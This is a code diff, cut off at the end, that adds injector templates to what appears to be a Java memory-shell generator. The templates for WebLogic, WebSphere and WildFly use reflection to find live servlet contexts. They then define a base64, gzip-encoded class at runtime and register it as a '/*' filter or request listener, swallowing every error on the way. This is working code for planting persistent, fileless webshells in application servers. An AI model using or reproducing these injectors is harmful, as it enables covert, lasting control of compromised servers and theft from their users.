+public class WebLogicListenerInjectorTpl {
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new WebLogicListenerInjectorTpl();
+    }
+
+    public WebLogicListenerInjectorTpl() {
+        try {
+            Object[] contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                registerListener(context, listener);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    public static Object[] getContextsByMbean() throws Throwable {
+        HashSet webappContexts = new HashSet();
+        Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
+        Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
+        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
+        theOneMethod.setAccessible(true);
+        Object serverRuntime = theOneMethod.invoke(null);
+
+        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
+        getApplicationRuntimesMethod.setAccessible(true);
+        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
+        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
+        for (int i = 0; i < applicationRuntimeSize; i++) {
+            Object applicationRuntime = Array.get(applicationRuntimes, i);
+
+            try {
+                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
+                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
+                int componentRuntimeSize = Array.getLength(componentRuntimes);
+                for (int j = 0; j < componentRuntimeSize; j++) {
+                    Object context = getFV(Array.get(componentRuntimes, j), "context");
+                    if (webAppServletContextClass.isInstance(context)) {
+                        webappContexts.add(context);
+                    }
+                }
+            } catch (Throwable e) {
+
+            }
+
+            try {
+                Set childrenSet = (Set) getFV(applicationRuntime, "children");
+                Iterator iterator = childrenSet.iterator();
+
+                while (iterator.hasNext()) {
+                    Object componentRuntime = iterator.next();
+                    try {
+                        Object context = getFV(componentRuntime, "context");
+                        if (webAppServletContextClass.isInstance(context)) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable e) {
+
+                    }
+                }
+
+            } catch (Throwable e) {
+
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContextsByThreads() throws Throwable {
+        HashSet webappContexts = new HashSet();
+        ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
+        int threadCount = threadGroup.activeCount();
+        Thread[] threads = new Thread[threadCount];
+        threadGroup.enumerate(threads);
+        for (int i = 0; i < threadCount; i++) {
+            Thread thread = threads[i];
+            if (thread != null) {
+                Object workEntry = getFV(thread, "workEntry");
+                if (workEntry != null) {
+                    try {
+                        Object context = null;
+                        Object connectionHandler = getFV(workEntry, "connectionHandler");
+                        if (connectionHandler != null) {
+                            Object request = getFV(connectionHandler, "request");
+                            if (request != null) {
+                                context = getFV(request, "context");
+                            }
+                        }
+                        if (context == null) {
+                            context = getFV(workEntry, "context");
+                        }
+
+                        if (context != null) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable e) {
+
+                    }
+                }
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContext() {
+        HashSet webappContexts = new HashSet();
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
+        } catch (Throwable e) {
+
+        }
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
+        } catch (Throwable e) {
+
+        }
+        return webappContexts.toArray();
+    }
+
+    private Object getListener(Object context) {
+
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return listener;
+    }
+
+    public void registerListener(Object context, Object listener) throws Exception {
+        String listenerClassName = listener.getClass().getName();
+        if (!isInjected(context, listenerClassName)) {
+            try {
+                Object eventsManager = getFV(context, "eventsManager");
+                invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{listenerClassName});
+            } catch (Exception e) {
+            }
+        }
+    }
+
+    public static boolean isInjected(Object context, String listenerClassName) throws Exception {
+        ArrayList requestListeners = (ArrayList) getFV(getFV(context, "eventsManager"), "requestListeners");
+        for (int i = 0; i < requestListeners.size(); i++) {
+            if (requestListeners.get(i).getClass().getName().contains(listenerClassName)) return true;
+        }
+        return false;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+
+    private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/WebSphereFilterInjectorTpl.java

@@ -0,0 +1,272 @@
+package jmg.core.template;
+
+import javax.servlet.Filter;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+
+/**
+ * tested v7、v8
+ * update  2023/07/08
+ */
+public class WebSphereFilterInjectorTpl {
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new WebSphereFilterInjectorTpl();
+    }
+
+
+    public WebSphereFilterInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Object context;
+        Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
+        Object[] wsThreadLocals = (Object[]) obj;
+        for (Object wsThreadLocal : wsThreadLocals) {
+            obj = wsThreadLocal;
+            // for websphere 7.x
+            if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFV(obj, "stack");
+                for (Object stack : stackList) {
+                    try {
+                        Object config = getFV(stack, "config");
+                        context = getFV(getFV(config, "context"), "context");
+                        contexts.add(context);
+                    } catch (Exception ignored) {
+                    }
+                }
+            } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
+                context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
+                contexts.add(context);
+            }
+        }
+        return contexts;
+    }
+
+
+    public void addFilter(Object context, Object filter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
+        String filterName = getFilterName(getClassName());
+        try {
+            if (!isAdded(context, filterName)) {
+                Class filterMappingClass;
+                Class iFilterConfigClass;
+                Class iServletConfigClass;
+                ClassLoader classLoader;
+                try {
+                    classLoader = context.getClass().getClassLoader();
+                    filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
+                    iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
+                    iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
+                } catch (Exception e) {
+                    classLoader = Thread.currentThread().getContextClassLoader();
+                    filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
+                    iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
+                    iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
+                }
+
+                Object filterManager = getFV(context, "filterManager");
+                try {
+                    // v8
+                    Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
+                    // com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
+                    setFV(context, "initialized", false);
+                    Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{filterName, getClassName(), filter, filter.getClass()});
+                    Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
+                    setFV(context, "initialized", true);
+
+                    // com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
+                    invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
+
+                    // com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
+                    invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
+
+                } catch (Exception e) {
+                    // v7
+                    Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{filterName});
+                    invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
+                    setFV(filterConfig, "dispatchMode", new int[]{0});
+                    setFV(filterConfig, "name", filterName);
+                    invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
+                    ArrayList _uriFilterMappings = (ArrayList) getFV(filterManager, "_uriFilterMappings");
+                    int lastIndex = _uriFilterMappings.size() - 1;
+                    Object lastElement = _uriFilterMappings.remove(lastIndex);
+                    _uriFilterMappings.add(0, lastElement);
+                    invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
+
+                }
+                // 清除缓存
+                invokeMethod(getFV(filterManager, "chainCache"), "clear");
+            }
+        } catch (Exception ex) {
+        }
+    }
+
+    public String getFilterName(String className) {
+        if (className.contains(".")) {
+            int lastDotIndex = className.lastIndexOf(".");
+            return className.substring(lastDotIndex + 1);
+        } else {
+            return className;
+        }
+    }
+
+    public boolean isAdded(Object context, String filterName) throws Exception {
+        Object webAppConfiguration = getFV(context, "config");
+        List filerMappings = (List) invokeMethod(webAppConfiguration, "getFilterMappings");
+        for (int i = 0; i < filerMappings.size(); i++) {
+            Object config = invokeMethod(filerMappings.get(i), "getFilterConfig");
+            String name = (String) invokeMethod(config, "getFilterName");
+            if (name.equals(filterName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+
+    public Object getFilter(Object context) {
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class filterClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = filterClass.newInstance();
+            } catch (Throwable ignored) {
+            }
+        }
+        return filter;
+    }
+
+    public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    private static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj.getClass(), fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    private static void setFV(Object obj, String fieldName, Object fieldValue) throws Exception {
+        getF(obj.getClass(), fieldName).set(obj, fieldValue);
+    }
+
+    private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+}

jmg-core/src/main/java/jmg/core/template/WebSphereListenerInjectorTpl.java

@@ -0,0 +1,140 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+public class WebSphereListenerInjectorTpl {
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new WebSphereListenerInjectorTpl();
+    }
+
+
+    public WebSphereListenerInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                addListener(context, listener);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Object context;
+        Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
+        Object[] wsThreadLocals = (Object[]) obj;
+        for (Object wsThreadLocal : wsThreadLocals) {
+            obj = wsThreadLocal;
+            // for websphere 7.x
+            if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFV(obj, "stack");
+                for (Object stack : stackList) {
+                    try {
+                        Object config = getFV(stack, "config");
+                        context = getFV(getFV(config, "context"), "context");
+                        contexts.add(context);
+                    } catch (Exception ignored) {
+                    }
+                }
+            } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
+                context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
+                contexts.add(context);
+            }
+        }
+        return contexts;
+    }
+
+    private Object getListener(Object context) {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class listenerClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = listenerClass.newInstance();
+            } catch (Throwable ignored) {
+            }
+        }
+        return listener;
+    }
+
+    public void addListener(Object context, Object listener) throws Exception {
+        List listeners = (List) getFV(context, "servletRequestListeners");
+        // 判断是否已经存在
+        if (!listeners.contains(listener)) listeners.add(listener);
+    }
+
+    public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    private static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj.getClass(), fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
+        try {
+            while (clazz != null) {
+                try {
+                    Field field = clazz.getDeclaredField(fieldName);
+                    field.setAccessible(true);
+                    return field;
+                } catch (NoSuchFieldException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+        }catch (Exception ignored){
+        }
+        return null;
+    }
+}

jmg-core/src/main/java/jmg/core/template/WildFlyFilterInjectorTpl.java

@@ -0,0 +1,207 @@
+package jmg.core.template;
+
+import javax.servlet.DispatcherType;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.GZIPInputStream;
+
+
+public class WildFlyFilterInjectorTpl {
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new WildFlyFilterInjectorTpl();
+    }
+
+
+    public WildFlyFilterInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        for (int i = 0; i < threads.length; i++) {
+            try {
+                Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
+                if (servletContext != null) contexts.add(servletContext);
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+
+    private Object getFilter(Object context) {
+
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return filter;
+    }
+
+    public void addFilter(Object context, Object filter) {
+        try {
+            if (isInjected(context, getClassName())) {
+                return;
+            }
+            Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
+            Object deploymentInfo = getFV(context, "deploymentInfo");
+            Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
+            invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
+            Object deploymentImpl = getFV(context, "deployment");
+            Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
+            invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
+            invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
+        } catch (Throwable e) {
+        }
+    }
+
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
+        for (Map.Entry<String, Object> filter : filters.entrySet()) {
+            Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
+            if (filterClass.getName().equals(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+
+    private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/WildFlyListenerInjectorTpl.java

@@ -0,0 +1,197 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+
+public class WildFlyListenerInjectorTpl {
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new WildFlyListenerInjectorTpl();
+    }
+
+    public WildFlyListenerInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                injectListener(context, listener);
+            }
+        } catch (Exception ignored) {
+        }
+
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        for (int i = 0; i < threads.length; i++) {
+            try {
+                Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
+                if (servletContext != null) contexts.add(servletContext);
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+
+    private Object getListener(Object context) {
+
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return listener;
+    }
+
+    // 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
+    // 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
+    public void injectListener(Object context, Object listener) {
+        try {
+            if (isInjected(context, listener.getClass().getName())) {
+                return;
+            }
+            Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
